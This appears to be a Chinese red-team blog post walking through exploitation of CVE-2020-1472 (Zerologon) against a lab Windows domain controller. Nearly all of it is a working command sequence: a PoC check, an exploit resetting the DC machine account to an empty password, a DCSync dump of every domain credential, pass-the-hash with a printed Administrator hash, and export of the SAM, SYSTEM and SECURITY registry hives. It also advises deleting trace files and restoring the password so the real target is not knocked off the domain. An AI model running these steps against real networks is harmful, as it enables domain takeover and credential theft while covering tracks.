大家好,這裡是 滲透攻擊紅隊 的第 46 篇文章,本公眾號會記錄一些紅隊攻擊的筆記(由淺到深),不定時更新
CVE-2020-1472是一個windows域控中嚴重的遠程權限提升漏洞,攻擊者通過NetLogon,建立與域控間易受攻擊的安全通道時,可利用此漏洞獲取域管訪問權限。
Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)Windows Server, version 2004 (Server Core installation)復現過程
域控IP:192.168.159.149
域內跳板IP:192.168.159.154
域:Motoo.nc
查看域控的主機名:
net group "domain controllers" /domain可以看到 Motoo-DCSRV 是域控的主機名!
首先通過 Poc 檢測漏洞是否存在:
python3 cve-2020-1472-poc.py Motoo-DCSRV 192.168.159.149
返回 Success,說明漏洞存在!
使用 exploit 漏洞腳本將域控機器帳號重置:
python3 cve-2020-1472-exploit.py Motoo-DCSRV 192.168.159.149
之後使用 DCSync 導出域內所有用戶的憑證:(主要有四個空格)
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -no-pass
得到了域控的 Hash:
Motoo.nc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905然後再通過 wmic hash 傳遞:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c85389bc79a4eb184e620b6e8c37905 Motoo.nc/Administrator@192.168.159.149
然後通過導出 sam system 等文件到本地,獲取域控機器上本地保存之前的 hash 值用於恢復,不然就脫域了:
reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\SECURITY security.saveget system.saveget sam.saveget security.save
記得下載完後刪除痕跡文件:
之後你會發現再你的當前機器會生成幾個文件:sam.save、security.save、system.save
之後通過 sam.save、security.save、system.save 這些文件獲得原來域控機器上的 Ntlm Hash 值,用於恢復密碼:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
通過拿到 $MACHINE.ACC: 的值,然後進行恢復:注意只有後半部分:
$MACHINE.ACC: 的值$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:ce7b34c0f2c72d6cb03123ef5ff741capython3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca
這個時候你還可以使用腳本來檢測是否恢復密碼成功:
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass
或者還可以使用這個:注意四個空格
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -no-pass可以看到我們使用空密碼去獲取域內的所有用戶的憑證已經不行了:
這個時候才是真正恢復成功!大家在實戰的時候一定要在本地多次復現!別在實戰中重置了域控的密碼為空,結果你不會還原導致目標脫域了,你就GG了!